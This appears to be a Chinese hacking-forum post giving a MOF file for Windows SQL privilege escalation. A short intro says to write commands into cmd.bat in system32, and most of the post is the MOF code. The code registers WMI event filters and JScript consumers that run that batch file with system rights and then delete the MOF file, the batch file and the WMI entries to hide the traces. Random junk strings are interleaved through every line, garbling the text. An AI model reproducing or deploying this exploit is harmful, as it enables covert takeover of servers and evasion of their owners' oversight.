这个sql提权MOF需要运行 system下的文件,不能定义路径。( y# I/ S0 N: }- Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
. v0 J: n- _+ U9 z; b5 w1 f- A- o/ y$ ]; {* @5 X" S4 K
这个sql提权MOF需要运行 system下的文件,不能定义路径。! h" Q4 }! w" o" ?7 W: V; v% N
需要将要运行的命令写入到bat上传到system32目录,然后执行。
' n- |- A- g) G6 u9 d% m) g( y& \
#pragma
' r; v$ o* \; b5 `, ? namespace("\\\\.\\root\\cimv2")1 z% i& _' ?: g9 I4 ?
class0 O6 d% r, o' J, T* y/ r) B; ^
MyClass547
( R9 Q/ q. |# h4 B6 T, S. R { [key]
! G# S' T& y" [ string; R+ x5 y/ H3 q4 E5 `3 ?7 N6 e
Name;/ U! M: `3 `) e) C
};
! I% |) p5 Q6 T2 t# Q5 _ class
2 T" {' ]7 @. I. D+ R2 E ActiveScriptEventConsumer7 W) ]( n+ K& e9 N# ^0 N
: __EventConsumer { [key]
! Q) J$ n2 v* t C string
+ |) I. n. M$ t# N' m" c7 q: @ Name; [not_null]- G+ f, W6 t% q1 Q2 [
string
$ \6 H0 Q; F6 b! B$ {% l T ScriptingEngine; string
6 M5 S% v" o' U. [0 w% l6 v) o ScriptFileName; [template]$ c' F2 A8 o! I2 D- n: q
string
: K- K0 ]2 r0 W6 F$ g6 u- F ScriptText; uint32 KillTimeout;
2 w! R! d9 h; A; u2 J }; instance of __Win32Provider as $P {) w- R( u9 H9 m" u- q) b
Name* [# T# a) X) r2 @7 T
=8 Q$ ~+ ?9 p/ v, v4 G* r
"ActiveScriptEventConsumer"; CLSID =
( E1 e( `- Z8 K "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";- y9 ?4 Q1 ]' y" d2 h- h$ z2 H" B1 |
PerUserInitialization
: B8 Y5 A' a+ h, T" {; _/ M, E = TRUE;/ \! p( B$ ]4 `2 L) A+ O! ]
}; instance of __EventConsumerProviderRegistration { Provider
; u' y! s; w7 D4 k2 z, E = $P; ConsumerClassNames% g3 e: H2 B# C4 `" ]! P8 L
=/ ^( P% O/ {$ E5 P
{"ActiveScriptEventConsumer"};2 ?6 Q+ z& M6 v: ^; ^
};+ ^9 A9 l" y2 s* Z8 \. t/ F9 U
Instance of ActiveScriptEventConsumer
: i( T( ^' ^+ I: B0 D4 ?" J/ b as $cons { Name3 p4 o& R" i/ t2 j* A/ c) X
=
& |* M2 Y6 C- s( x# h, h "ASEC"; ScriptingEngine
; n9 U1 C6 L3 c$ n3 } =
. n1 b z% H* j. i h9 x$ U "JScript"; ScriptText! }( j3 B# r" P! G" _6 y/ C, }% g
=
: w" ]7 j. b) j3 b "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };! T+ c& o5 ]' [. I8 W; v
Instance of ActiveScriptEventConsumer
8 Z' q& K; I0 q) W3 E as $cons2 { Name
# c' g9 D q' k =0 N6 s9 ?+ r9 Z
"qndASEC"; ScriptingEngine5 m9 J( E9 [( m+ {) N
=' t+ G. L7 ]- D6 I' Y
"JScript"; ScriptText
1 R. z3 w: \- C5 i' |! d- T4 ` =
8 W+ c) E7 G/ F7 V; V0 d "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";! Q. I5 |: d6 t
}; instance of __EventFilter as $Filt { Name( w) X2 x4 [. y# \! Z: P& j4 Y8 X) k C6 E
=$ y( P$ S( U, S
"instfilt"; Query1 ^* E7 l$ J- G+ r, H5 {: K
=/ F* }5 C& t/ ~- @3 b
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
8 K8 j& j& B3 Q =. \* k* w' {1 A2 g) X+ f) E
"WQL"; }; instance of __EventFilter as $Filt2 { Name
$ `# W! y I# W7 {- y) L8 r- [- w =% b9 h) H- h) v
"qndfilt"; Query* m1 O5 ] t9 X( v. |
=
$ k. u; i# ]# o/ ~ "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage; ?; }, @4 C( i2 r2 J( ~* [' j/ u
=
x' r( T4 G: ?* R. F7 j% k3 H "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
2 P( k5 \8 L, C( ?5 r) G = $cons; Filter% ?6 i3 \3 w% `3 { `
= $Filt;" C; C. R4 ]8 T3 s! B$ T2 I
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
/ m( J9 \- P7 q = $cons2; Filter$ @# S9 p0 s7 x. A% O. H8 G
= $Filt2;
3 x2 }# g$ O; ?+ Y }; instance of MyClass547
' J! S: X1 s: O6 ~* t6 O3 p$ g as $MyClass { Name
' Q3 o3 s! X1 S, i6 f Z3 ~ ^ =
3 }. a5 V H: t' V* U "ClassConsumer";& {( Q' S8 n: q; M @
}; |